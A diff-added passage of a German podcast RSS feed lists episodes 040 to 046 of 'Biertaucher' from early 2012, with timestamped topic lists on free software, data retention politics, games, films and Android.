+ </li><li><b>0:24:30</b> REPORTAGE: Horst war auf der Subotron Podiumsdiskussion: <a href="http://subotron.com/1501-fr-300312-subotron-electric-meeting-roundtable-ausbildungsplatz-oesterreich-2012/">Ausbildungsplatz Österreich 2012</a> (Game-Developer)
+ </li><li><b>0:21:20</b> GAME: <a href="http://netzpolitik.org/2012/data-dealer-facebook-spiel-gegen-facebook-co/">noch nicht verbotenes</a> Facebook/Browsergame: <a href="http://www.datadealer.net/">DataDealer</a>
+ </li><li><b>0:33:00</b> PODCAST: <a href="http://riotburnz.wordpress.com/datensuppe/">Datensuppe Podcast</a>, <a href="http://www.noagendashow.com/">No Agenda Podcast</a>
+ </li><li><b>0:38:00</b> KINO: <a href="http://en.wikipedia.org/wiki/The_Artist_%28film%29">"The Artist"</a>
+ </li><li><b>0:40:00</b> POLITIK: <a href="http://derstandard.at/1332324102516/Wechsel-Linux-Umstellung-spart-Muenchen-vier-Millionen-Euro">Linux in München und leider nicht in Wien</a>
+ </li><li><b>0:45:33</b> KINO: <a href="http://en.wikipedia.org/wiki/To_Be_or_Not_to_Be_%281942_film%29">"To Be or not to Be (1942)"</a>, <a href="http://de.wikipedia.org/wiki/Der_dritte_Mann">"Der dritte Mann"</a>, <a href="http://www.filminstitut.at/de/spanien/">"Spanien"</a>
+ </li><li><b>0:54:22</b> RANT: Gregor schimpft auf Google Android 4.0.4
+ </li><li><b>1:00:00</b> TECH: <a href="http://www.wired.com/wiredenterprise/2012/03/android-linux/">Android- und Linuxkernel kommen wieder zusammen</a>
+ </li><li><b>1:01:00</b> GAME: HTML5 Game <a href="http://hacks.mozilla.org/2012/03/browserquest/">Browserquest</a>
+ </li><li><b>1:09:50</b> GAME: Android Game <a href="http://en.wikipedia.org/wiki/Temple_Run">Temple Run</a>
+ </li><li><b>1:15:00</b> TECH: Kommandozeile <a href="http://en.wikipedia.org/wiki/Htop">htop</a>, <a href="http://en.wikipedia.org/wiki/Zshell">zshell</a>, <a href="http://en.wikipedia.org/wiki/Grml">Grml</a>
+ </li><li><b>1:21:00</b> TECH: Verschlüsselung mit <a href="http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29">Tor</a>
+ </li><li><b>1:28:20</b> TECH: Kommandozeile Teil 2 tsocks
+ </li><li><b>1:33:30</b> POLITIK: <a href="http://www.freedom-information.com/2012/04/operation-pitdog-und-der-erste-april/">Aprilscherz</a> von AnonAustria
+ </li><li><b>1:36:50</b> TECH: <a href="http://derstandard.at/1331206828482/WebStandard-Test-GNOME-34-ist-da-Viel-Neues-fuer-den-Linux-Desktop">Gnome 3.4</a>
+ </li><li><b>1:40:00</b> BUCH: <a href="http://youtu.be/whVf5tuVbus">"23 Things they don't tell you about capitalism"</a> von Ha-Joon Chang
+ </li>
+
+ </ul>
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher046.mp3" length="78899200" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 045</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:045</link>
+ <pubDate>Wed, 28 Mar 2012 22:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher045.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen: siehe auch Shownotes http://goo.gl/Edgi1 bzw: http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/Edgi1">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 45 zu sehen</i><br></br>
+ Inhalt: <b>Horst JENS</b>, <b>Gregor PRIDUN</b> und <b>Johnny ZWENG</b> plaudern über freie Software und andere Nerd-Themen:<br/><br/>
+ siehe auch : <a href="http://redd.it/r8bh3">Themensammlung auf reddit</a><br></br>
+
+Hier das Inhaltsverzeichnis ohne Anspruch auf Vollständigkeit:<br></br>
+<ul><li>
+ <b>0:00:30</b> Hausmeisterthemen
+ </li><li> <b>0:02:30</b> KALENDER ink. Demonstrationsaufruf: <a href="https://gegenvds.at/protestaktionen/">Demo gegen Vorratsdatenspeicherung</a>
+ </li><li> <b>0:04:00</b> REPORTAGE: Johnny berichtet vom WKO Vortrag <a href="http://www.ispa.at/aktivitaeten/veranstaltungen/ispa-academy-termin/events/618/caltype/1/view/event/?tx_cal_controller[year]=2012&tx_cal_controller[month]=03&tx_cal_controller[day]=27&cHash=3a9f94c0d51f7b3930f66de84d0fd4dc">"Umsetzung der Vorratsdatenspeicherung in Österreich III"</a>
+ </li><li> <b>0:45:20</b> KINO: Horst hat sich <a href="http://en.wikipedia.org/wiki/The_Hunger_Games_(film)">"The Hunger Games"</a> angeschaut
+ </li><li> <b>0:50:00</b> TECH: Neuerungen bei <a href="http://de.wikipedia.org/wiki/Google_Play">Google Play</a>
+ </li><li> <b>0:57:00</b> Vermischtes:
+ </li><ul><li>
+ Max Schrems: neuer Blogeintrag zum Thema <a href="http://www.europe-v-facebook.org/DE/de.html">Europe vs. Facebook</a>
+ </li><li>Freakonomics Blog: <a href="http://www.freakonomics.com/2012/03/22/greeces-new-currency/">virtuelle Tauschwährung in Griechenland</a>
+ </li><li>Balluch Blog: <a href="http://www.martinballuch.com/?p=893">ÖVP NÖ vs. Balluch</a>
+ </li><li>GAME: Fanspiel <a href="http://www.wcsaga.com/">Wingcommander Saga</a>
+ </li><li>CONTENT MAFIA: <a href="http://derstandard.at/1332323724553/Zensur-Microsoft-duldet-keine-Pirate-Bay-Links-im-Messenger">Microsoft zensiert Messenger-Links zu Pirate-Bay</a>
+ </li></ul>
+ <li><b>1:00:20</b> REPORTAGE: Horst war mit Martin beim <a href="http://ggardening.blogsport.eu/">Guerillia gardening</a> und berichtet (siehe auch Interview am Ende des Podcasts)
+ </li><li><b>1:04:10</b> REPORTAGE: Horst war am <a href="http://subotron.com/1531-do-220312-subotron-pro-games-infoabend-gamer-als-unternehmer/">Subotron-vortrag "Der Gamer als Unternehmer"</a>
+ </li><li><b>1:06:00</b> Nochmals kurz die Kommandozeile, und was noch praktisch daran ist
+ </li><li><b>1:10:00</b> PODCAST <a href="http://hoersueppe.de">Hoersuppe.de</a>
+ </li><li><b>1:15:40</b> INTERVIEW mit einer Guerilla Gardening Aktivistin
+ </li>
+</ul>
+ <img src="https://lh4.googleusercontent.com/-5grEaiy2__c/T3Mw0Q5HYfI/AAAAAAAAFc0/2ZYCpLIOo60/s720/IMG_20120324_150751.jpg" alt="Martin beim Guerilla Gardening Nähe Wien Längenfeldgasse" width="90%"></img>
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher045.mp3" length="57933824" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 044</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:044</link>
+ <pubDate>Thu, 22 Mar 2012 14:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher044.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN und Martin MAYR plaudern über freie Software und andere Nerd-Themen
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="goo.gl/U5gFo">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 44 zu sehen</i><br></br>
+ Inhalt: <b>Horst JENS</b>, <b>Gregor PRIDUN</b> und <b>Martin MAYR</b> plaudern über freie Software und andere Nerd-Themen:<br/><br/>
+ siehe auch : <a href="http://redd.it/qw8rg">Themensammlung auf reddit</a><br></br>
+
+Hier das Inhaltsverzeichnis ohne Anspruch auf Vollständigkeit:<br></br>
+<ul>
+ <li>0:00:40 Hausmeisterthemen
+</li><li>0:04:15 <a href="http://www.humblebundle.com/">Humble Bundle for Android</a>
+</li><li>0:05:00 <a href="http://www.hackerspaceshop.com/">HackerspaceShop</a>
+</li><li>0:08:30 BUCH: Horst hat <a href="http://ianmorris.org/whythewestrules.html">"Why the West rules for now"</a> von Ian Morris gelesen
+</li><li>0:22:00 <a href="http://derstandard.at/1331780090690/Bittere-Erkenntnis-Mozilla-Firefox-braucht-H264-Support-um-relevant-zu-bleiben">Firefox unterstützt jetzt H.267</a>
+</li><li>0:29:30 REPORTAGE: Martin war auf der Frühlings <a href="http://www.criticalmass.at/">Critical Mass</a>
+</li><li>0:32:00 BALLUCH: bloggt über Melanie Joy und den Begriff des "Carnismus"(Fleischessers) http://www.martinballuch.com/?p=878
+</li><li>0:41:00 <a href="http://www.mybikelane.com/">MyBikeLane</a>
+</li><li>0:49:45 Kommandozeilentools: Screen, <a href="https://launchpad.net/byobu">Byobu</a>, <a href="https://de.wikipedia.org/wiki/W3m">w3m</a> und andere..
+</li><li>1:00:01 Das Pipad3 bekommt nur 2 von 10 repairability Punkten bei <a href="http://www.ifixit.com/Teardown/iPad-3-4G-Teardown/8277/1">Ifixit</a>
+</li><li>1:00:08 KINO: Horst hat <a href="http://en.wikipedia.org/wiki/John_Carter_(film)">"John Carter Zwischen den Welten"</a> angeschaut
+</li><li>1:10:00 KINO: Horst hat <a href="http://www.thebestexoticmarigoldhotel-derfilm.at/trailer.htm">The Best Exotic Marigold Hotel</a> angeschaut
+</li><li>1:11:00 KINO: Gregor hat <a href="https://de.wikipedia.org/wiki/Atmen_(Film)">Atmen</a> von <a href="https://de.wikipedia.org/wiki/Karl_Markovics">Karl Markovics</a> angeschaut
+</li><li>1:15:00 FILM: Wir reden über den <a href="http://bloodinthemobile.org/">Blood in the Mobile</a> Film
+</li><li>1:24:00 GRÃœN: Martin ruft auf zum <a href="http://ggardening.blogsport.eu/2012/03/19/gartentreffen/">Guerilla Gardening</a>. (Siehe auch <a href="http://spielend-programmieren.at/de:podcast:biertaucher:kalender">Biertaucher-Kalender</a>)
+</li><li>1:25:00 WIEN: <a href="http://yfrog.com/g0n9ozoej">Bezirkszeitung Beschwerde Müll</a>
+</li><li>1:32:00 Wir freuen uns schon auf: <a href="http://www.indiegamethemovie.com/">Indy Game the Movie</a>
+</li><li>1:43:00 GAME: <a href="http://www.kickstarter.com/projects/inxile/wasteland-2">Wasteland 2</a> sucht Crowd-financing via Kickstarter
+</li>
+</ul>
+ <img src="https://lh3.googleusercontent.com/-Q6EKyqV-pXw/T2sgyZLSTEI/AAAAAAAAFSI/0KIMYMoXXEs/s640/IMG_20120313_183504.jpg" alt="Buchcover: Why the West rules - for now" width="90%"></img>
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher044.mp3" length="79239168" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 043</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:043</link>
+ <pubDate>Wed, 14 Mar 2012 15:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher043.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR, Florian SCHWEIKERT und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen, siehe Shownotes auf http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/rd2CQ">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 43 zu sehen</i><br></br>
+ Inhalt: <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Martin MAYR</b>, <b>Florian SCHWEIKERT</b> und <b>Johnny ZWENG</b> plaudern über freie Software und andere Nerd-Themen:<br/><br/>
+ ( siehe auch Themensammlung auf <a href="https://plus.google.com/115278437571900143077/posts/MRGp3KP2sQC">Google+</a> ): <br></br><br></br>
+
+
+Hier das Inhaltsverzeichnis ohne Anspruch auf Vollständigkeit:<br></br>
+<ul>
+ <li><b>0:00:50</b> Hausmeisterthemen
+ </li><li><b>0:05:30</b> Android Market wird <a href="http://de.wikipedia.org/wiki/Google_Play">Google Play</a>
+ </li><li><b>0:11:30</b> Änderung der Strafprozessordnung, Schutz des Berufsgeheimnis ausgehebelt? <a href="http://derstandard.at/1330390694902/Umstrittene-Karl-Novelle-Hebelt-Verschwiegenheit-voellig-aus">derstandard.at</a> <a href="http://orf.at/stories/2108775/2108777/">orf.at</a>, eine Woche später rudert Ministerin Karl zurück: <a href="http://derstandard.at/1331207122398/Justizausschuss-Karl-entschaerft-Entwurf-zur-Strafprozessordnung">derstandard.at</a> <a href="http://orf.at/stories/2109684/2109685/">orf.at</a>; //(dazu auch Hörempfehlung für den Podcast von Peter Purgathofer, besonders Folge 3 mit Konrad Lachmayer: <a href="http://lex.iguw.tuwien.ac.at/groups/gespraeche/blog/">Peter Purgathofer spricht mit...</a>)//
+ </li><li><b>0:18:30</b> <a href="http://www.winehq.org/">Wine 1.4</a> und Photoapps
+ </li><li><b>0:24:40</b> Teaser: HTL-Schüler Teaser programmieren Android-Spiel: <a href="https://play.google.com/store/apps/details?id=at.game.rolltheball">Roll the Ball</a> (Interview am Ende des Podcasts)
+ </li><li><b>0:26:00</b> App-Tipp für Android: <a href="http://airdroid.com/">Airdroid</a> Grafisch sehr hübsch gemachte App, die es ermöglicht dein handy per Browser zu administrieren: <a href="https://play.google.com/store/apps/details?id=com.sand.airdroid">Airdroid gratis im Google Play Store</a>
+ </li><li><b>0:28:30</b> Hack die Hacker: der Jester-Hack: <a href="http://www.golem.de/news/handys-gehackt-the-jester-will-anonymous-mitglieder-entlarven-1203-90426.html">real</a> oder <a href="http://www.heise.de/newsticker/meldung/Witzbold-prahlt-mit-Smartphone-Hack-via-QR-Code-1469229.html">fake</a>?
+ </li><li><b>0:32:44</b> Idee der Firma //<a href="http://itwatch.de/">itWatch</a>// auf der Cebit: Ãœberwachung von Dateien am eigenen Rechner durch das Betriebssystem: <a href="http://www.heise.de/newsticker/meldung/Software-soll-Darstellung-von-Kinderpornografie-verhindern-1466336.html">heise.de</a>
+ </li><li><b>0:39:30</b> <a href="http://www.akvorrat.at/">AK Vorratsdatenspeicherung</a>, u.a. <a href="http://wiki.akvorrat.at/doku.php?id=hintergrund:faq:was_soll_gespeichert_werden">was soll ab 1. April in Österreich gespeichert werden</a>
+ </li><li><b>0:47:30</b> Kinderverbot auf der Cebit: <a href="http://larsreineke.de/2012/03/10/nie-wieder-cebit/">Blogartikel von Lars Reineke</a>
+ </li><li><b>0:51:00</b> <a href="http://owncloud.org/">owncloud.org</a> die Cloud für zu Hause
+ </li><li><b>1:02:00</b> schöner Nerden: GAME REVIEW: <a href="http://www.desura.com/games/conquest-of-elysium-3">Conquest of Elysium 3</a> von <a href="http://www.illwinter.com/">Illwinter</a>
+ </li><li><b>1:05:00</b> REPORTAGE: <a href="https://metalab.at/wiki/Metaday_49">Metaday 49</a> - Grundeinkommen Diskussion
+ </li><li><b>1:25:00</b> REPORTAGE: <a href="http://www.robotchallenge.org/de">Robot Challenge</a>
+ </li><li><b>1:31:00</b> Neue Zertifizierung <a href="http://www.heise.de/open/artikel/Die-Woche-Linux-als-Schulfach-1467353.html">Linux Essential</a>
+ </li><li><b>1:33:00</b> Guerilla Gardening Interview Teaser
+ </li><li><b>1:34:00</b> Peru: <a href="http://www.olpcnews.com/countries/peru/warehouse_fire_in_peru_destroys_education_materials_and_40000_xos.html">40.000 OLPCs verbrannt</a>
+ </li><li>Extra-content:
+ </li><li><b>1:37:00</b> Guerilla Gardening
+ </li><li><b>1:47:00</b> INTERVIEW "Roll the Ball" Android Game
+ </li>
+</ul>
+ <img src="https://lh3.googleusercontent.com/-B5YWQPBx_5s/T2Cc8uX83KI/AAAAAAAAFGs/87oxhaAMk1c/s912/IMG_20120310_111545.jpg" alt="Robot Challenge 2012 Wien" width="90%"></img>
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher043.mp3" length="73105408" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 042</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:042</link>
+ <pubDate>Wed, 07 Mar 2012 18:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher042.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR, Florian SCHWEIKERT und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Zur Feier der 42. Biertaucher-Folge diesmal mit Handtüchern. siehe Shownotes auf http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Martin MAYR</b>, <b>Florian SCHWEIKERT</b> und <b>Johnny ZWENG</b> plaudern über freie Software und andere Nerd-Themen. Zur Feier der 42. Biertaucher-Folge diesmal mit Handtüchern. <br/><br/>
+ siehe auch <a href="https://plus.google.com/u/0/115278437571900143077/posts/dEg7JHVqa5Z">Themensammlung auf Google+</a><br></br>
+ Mehr Information gibt es in den <a href="http://goo.gl/MpVSd">Shownotes</a><br></br>
+Hier das Inhaltsverzeichnis ohne Anspruch auf Vollständigkeit:<br></br>
+<ul>
+ <li> 00:00:00 Douglas Adams <a href="http://en.wikipedia.org/wiki/The_Hitchhiker%27s_Guide_to_the_Galaxy_(novel)">"Per Anhalter durch die Galaxie"</a> (zur Feier der 42. Folge)
+ </li><li> 00:03:40 <a href="http://www.raspberrypi.org/">Raspberry Pi</a> Verkauf gestartet. DDOS-Effekt auf Premier Farnell and RS Components.
+ </li><li> 00:13:33 Die stille SMS (Korrektur zur Folge 041)
+ </li><li> 00:21:15 <a href="http://www.xageek.com/en">NFC</a> Datenschubsen zwischen Android und Nokia Handys
+ </li><li> 00:30:50 <a href="http://www.golem.de/news/gsma-joyn-statt-sms-1202-90081.html">Joyn</a>, der SMS Nachfolger
+ </li><li> 00:40:50 Datenschutz-Fail: <a href="http://futurezone.at/digitallife/7773-android-apps-haben-zugriff-auf-nutzer-fotos.php">Android Apps haben Zugriff auf die SD-Karte</a>
+ </li><li> 00:43:30 Horst berichtet über Subtitel erstellen bei <a href="http://khanacademy.org">Khan Academy</a> und über seine Schwierigketien mit <a href="http://udacity.org">Udacity</a>.
+ </li><li> 00:49:50 Schöner leben: Gregor hat von Daniel Suarez: <a href="https://en.wikipedia.org/wiki/Daemon_%28technothriller_series%29">Daemon und Darknet</a> gelesen
+ </li><li> 00:56:20 Martin war im Social net und berichtet über <a href="http://www.quora.com/">Quora</a>, <a href="http://pinterest.com/">Pinterest</a>,<a href="https://foursquare.com/">Four-Square</a> und <a href="https://oust.me/">oust.me</a>. // "Meine hood is phetter, OIDA!" //
+ </li><li> 01:14:00 Datenschutz: die Putzfrau war schuld ! <a href="http://wien.orf.at/news/stories/2523785/">Psychotherapie-Akten</a> im Altpapier gefunden.
+ </li><li> 01:17:40 <a href="http://www.golem.de/news/internetsperren-daenemarks-polizei-sperrt-versehentlich-google-und-facebook-1203-90232.html">Dänemarks Polizei sperrt versehentlich Google und Facebook</a> und kurze Geschichte der Filterlistenleaks
+ </li><li> 01:25:30 IP over DNS
+ </li><li> 01:29:30 Termine: <a href="http://www.fightrepression2010.tk/">Demonstrationsaufruf</a> und <a href="https://metalab.at/wiki/Metaday_49">Metaday 49</a> im Metalab zum Thema: Grundeinkommen
+ </li>
+</ul>
+<br></br>
+<img src="http://spielend-programmieren.at/lib/exe/fetch.php?hash=425e32&w=250&media=https%3A%2F%2Flh5.googleusercontent.com%2F-lhNEe6xtgow%2FT1eGsWGYD6I%2FAAAAAAAAE8o%2FY2a_4fboRVk%2Fs912%2FIMG_20120306_195317.jpg" width="250" title="NFC-Kommunikation zwischen N9 und Google Nexus" alt="NFC-Kommunikation zwischen N9 und Google Nexus"></img>
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher042.mp3" length="68405248" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 041</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:041</link>
+ <pubDate>Thu, 01 Mar 2012 10:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher041.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR, Florian SCHWEIKERT und Gast Peter plaudern über freie Software und andere Nerd-Themen siehe Shownotes auf http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Martin MAYR</b>, <b>Florian SCHWEIKERT</b> und Gast <b>Peter</b> plaudern über freie Software und andere Nerd-Themen. <br/><br/>
+ Siehe auch <a href="https://plus.google.com/u/0/115278437571900143077/posts/TzyETvJxkCM">Themensammlung zu dieser Folge</a> auf Google+<br></br>
+ Sie können diese Podcastfolge per <a href="http://flattr.com/thing/546332/Biertaucher-Podcast-Folge-041">Flattr</a> unterstützen.<br></br>
+ Inhaltsverzeichnis ohne Anspruch auf Vollständigkeit:
+<ul>
+ <li>00:00:43 Kalenderverlesung
+ </li><li>00:02:30 Hausmeisterthemen und <a href="http://www.ubook.at">u:book</a>
+ </li><li> 00:04:30 <a href="http://derstandard.at/1329869976440/Augmented-Reality-Google-bringt-Terminator-Brille-noch-2012">Augmented Reality Brille</a> von Google
+ </li><li> 00:08:50 <a href="http://www.heise.de/resale/meldung/Preissucher-Geizhals-at-wirft-OCZ-Manipulation-bei-SSD-Bewertungen-vor-1441804.html">gefälschte Bewertungen</a> bei Geizhals
+ </li><li> 00:11:00 <a href="http://derstandard.at/1328507539539/Business-Remix-Ubuntu-will-den-Firmendesktop-erobern">Ubuntu Business Desktop Remix</a> und Ubuntu unter Android
+ </li><li> 00:15:14 <a href="http://www.spiegel.de/netzwelt/web/0,1518,817117,00.html">Microsoft trollt gegen Google</a> mit Werbespots
+ </li><li> 00:18:45 <a href="http://wualablog.blogspot.com/2012/02/court-rules-you-cannot-be-compelled-to.html">Wuala-Blog:</a> Nicht mal in den USA muss man sein Passwort rausrücken
+ </li><li> 00:20:20 REPORTAGE <a href="http://subotron.com/1500-fr-240212-subotron-electric-meeting-sex-drogen-und-gewalt-oder-welche-rolle-spielt-ethik-im-game-design/#more-1500">Subotron Vortrag "Wozu Ethik in Gamedesign"</a>
+ </li><li> 00:35:45 <a href="http://www.golem.de/news/copyright-youtube-mahnt-nutzer-wegen-vogelgezwitscher-ab-1202-90057.html">Youtube mahnt wegen Vogelgezwitscher</a> Nutzer wegen Urheberrechtsverletzung ab
+ </li><li> 00:40:00 <a href="http://www.dpreview.com/news/2012/02/27/Nokia-808-PureView-with-41MP-sensor">Nokia 41 Megapixel Sensor</a> und Update für Meego/Maemo
+ </li><li> 00:54:50 Politik: <a href="http://kurier.at/nachrichten/4486514-us-glaubenskrieger-auf-dem-vormarsch.php">USA auf dem Weg zum Gottesstaat</a>
+ </li><li> 00:56:30 <a href="http://telespiel-late-night.de">Retro-Spiele Podcast</a>
+ </li><li> 00:57:30 Chinesische Restaurantbesitzering in Deutschland <a href="http://www.heise.de/tp/artikel/36/36486/1.html">wehrt sich gegen GEMA</a>
+ </li><li> 00:59:30 REPORTAGE Peter erzählt von seinem <a href="http://podcast.smarter-home.at/">Smarthome Podcast</a>
+ </li><li> 01:06:20 INTERVIEW (siehe auch extra-content): Ex-Mac-User und <a href="http://www.in-ga.me/">In-Ga.me</a> Web-Zeitschrift
+ </li>
+</ul>
+ <br></br>
+ <img src="http://www.in-ga.me/wp-content/uploads/2012/02/in-ga.me_logo2.png" title="in-ga.me logo" alt="in-ga.me logo"></img>
+ <br></br>
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher041.mp3" length="58812416" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 040</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:040</link>
+ <pubDate>Wed, 22 Feb 2012 21:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher040.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR, Florian SCHWEIKERT und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen siehe Shownotes auf http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Martin MAYR</b>, <b>Florian SCHWEIKERT</b> und <b>Johnny ZWENG</b> plaudern über freie Software und andere Nerd-Themen. <br/><br/>
+ Siehe auch <a href="https://plus.google.com/u/0/115278437571900143077/posts/7MeSpueqaNS">Themensammlung zu dieser Folge</a> auf Google+<br></br>
+ Sie können diese Podcastfolge per <a href="https://flattr.com/thing/525524">Flattr</a> unterstützen.<br></br>
+<ul>
+ <li> 00:01:35 <a href="http://spielend-programmieren.at/de:podcast:biertaucher:kalender">Kalender</a>
+ </li><li> 00:02:50 TECH <a href="http://blog.openstreetmap.de/2012/02/das-war-night-of-the-living-maps-2012/">Night of the Living Maps</a>
+ </li><li> 00:07:15 TECH <a href="https://addons.mozilla.org/en-US/firefox/addon/flattr/">Flattr auch für github und Wikipedia</a>
+ </li><li> 00:08:30 POLITIK / SCIENTOLOGY: <a href="http://derstandard.at/1328162355930/600000-Euro-Strafe-Scientology-Frankreich-wegen-bandenmaessigen-Betrugs-verurteilt">Scientology wegen Betrug verurteilt</a>
+ </li><li> 00:10:15 TECH / POLITIK <a href="http://derstandard.at/1328507681964/Bericht-Apple-setzt-Hersteller-von-Asus-Zenbook-unter-Druck">Apple vs the world, Zenbook und Patent auf MacBook Air Design</a>
+ </li><li> 00:14:20 TECH <a href="http://www.golem.de/news/open-data-berlin-legt-strategie-zur-oeffnung-der-datenbestaende-vor-1202-89867.html">Opendata in Berlin und Themen wie die Mach mit App und die Wiener Linien</a>
+ </li><li> 00:24:00 POLITIK Teaser: <a href="http://derstandard.at/1328507706388/Kein-Stupa-in-Gfoehl-Buddhistischer-Moench-Sunim-Ewald-Stadler-verbreitet-Hass">RELIGION/POLITIK: Kein Stupa in Gföhl</a> (Florian berichtet nächste Folge mehr)
+ </li><li> 00:28:15 WELTPOLITIK: Waldviertel: <a href="http://noe.orf.at/news/stories/2505138/">Wackelstein UMGESCHMISSEN</a>
+ </li><li> 00:31:15 BILDUNG: <a href="http://www.heise.de/tp/blogs/6/151432">USA (North Carolina?) mehr Computer, weniger Lehrer</a>
+ </li><li> 00:33:45 TECH: <a href="http://bellard.org/jslinux/">Fabrice Bellard's x86 Emulation in JavaScript Teil 1</a>
+ </li><li> 00:37:15 POLITIK: <a href="http://futurezone.at/b2b/7423-verzoegerte-film-starts-grund-fuer-piraterie.php">verzögerte Filmstarts (USA vs. Rest der Welt) Grund für Film-Piraterie und schlechten Umsatz außerhalb der USA</a>
+ </li><li> 00:38:15 TECH: <a href="https://market.android.com/details?id=com.kebab.Llama&hl=de">Laama und andere nützliche Apps fürs phone Eine Android-App mit Witz(chen): Llama ist für locationbasierte Profile ein nützliches(?) Tool</a>
+ </li><li> 00:44:50 SCHÖNER NERDEN: Teaser: Interview mit Hörbuchhandlung <a href="http://audiamo.at/">Audiamo</a> (volles Interview am Ende des Podcasts sowie als Extra-File)
+ </li><li> 00:47:00 SCHÖNER NERDEN: österreichische Podcasts: http://theangryteddy.com von Daniel Friesenecker und http://podcast.smarter-home.at/ von Peter
+ </li><li> 00:49:40 <a href="http://netzpolitik.org/2012/verlag-verschenkt-ebook-und-wird-abgemahnt/">Verlag verschenkt ebook und wird von Anwalt abgemahnt wegen Buchpreisbindung</a>
+ </li><li> 00:50:10 POLITIK: Watschenmann der Woche: Dr. PAul Rübig (EU-Abgeordneter, ÖVP) über ACTA: <a href="http://at.indymedia.org/node/22347">"Wir brauchen ACTA, weil mich in Italien schwarze Menschen belästigt haben"</a>
+ </li><li> 00:51:20 POLITIK: Telefonbuchproblematik auf Smartphones
+ </li><li> 00:55:47 SCHÖNER NERDEN / BILDUNG: Horst studiert online: </li>
+ <ul>
+ <li> <a href="http://www.udacity.com/">Udacity</a></li>
+ <li> <a href="http://www.khanacademy.org/">Khan Academy</a></li>
+ </ul>
+ <li> 01:02:35 SCHÖNER NERDEN: Gregor berichtet vom GZA Konzert in der Fluc Wanne
+ </li><li> 01:05:25 TECH: Martin hat endlich Windows 7 von seinem Netbook gekickt und dafür <a href="http://www.fuduntu.org/Fuduntu">Fuduntu</a> installiert.
+ </li><li> 01:10:20 TECH: Skype Plugin für Pidgin/Empathy
+ </li><li> 01:13:50 POLITIK: ETB Polizeitrupp schlägt wieder zu und <a href="http://futurezone.at/netzpolitik/7483-anonaustria-polizei-stuermt-falsche-wohnung.php">stürmt falsche Wohnung</a>:
+ </li><li> 01:15:15 POLITIK / BALLUCH: Landwirtschaftskammer NÖ <a href="http://www.martinballuch.com/?p=820">klagt Martin Balluch</a> :
+ </li><li> 01:20:05 SCHÖNER NERDEN / Games / Spielend Lernen</li>
+ <ul><li> Schönes Tower-Defense Spiel: <a href="http://www.indiegamemag.com/gratuitous-tank-battles-very-close-to-beta/">Gratuitous Tank Battles</a>
+ </li><li> Sun Age wird seit 14 Jahren entwickelt: <a href="http://www.vertex4.com/sunage/">Sun Age</a></li>
+ </ul>
+ <li> 01:34:30 REPORTAGE: Interview mit <a href="http://audiamo.at">Audiamo Hörbuchhandlung</a> (Originalton)
+ </li>
+</ul>
+ <br></br>
+ <img src="http://spielend-programmieren.at/lib/exe/fetch.php?hash=3df07f&w=250&media=https%3A%2F%2Flh6.googleusercontent.com%2F-vPcm-FYem-U%2FT0ShhokDUVI%2FAAAAAAAAEwk%2Fx4MGIPk02nA%2Fs1248%2FIMG_20120221_200659.jpg" alt="Aufnahmen zur Biertaucherfolge 40"></img>
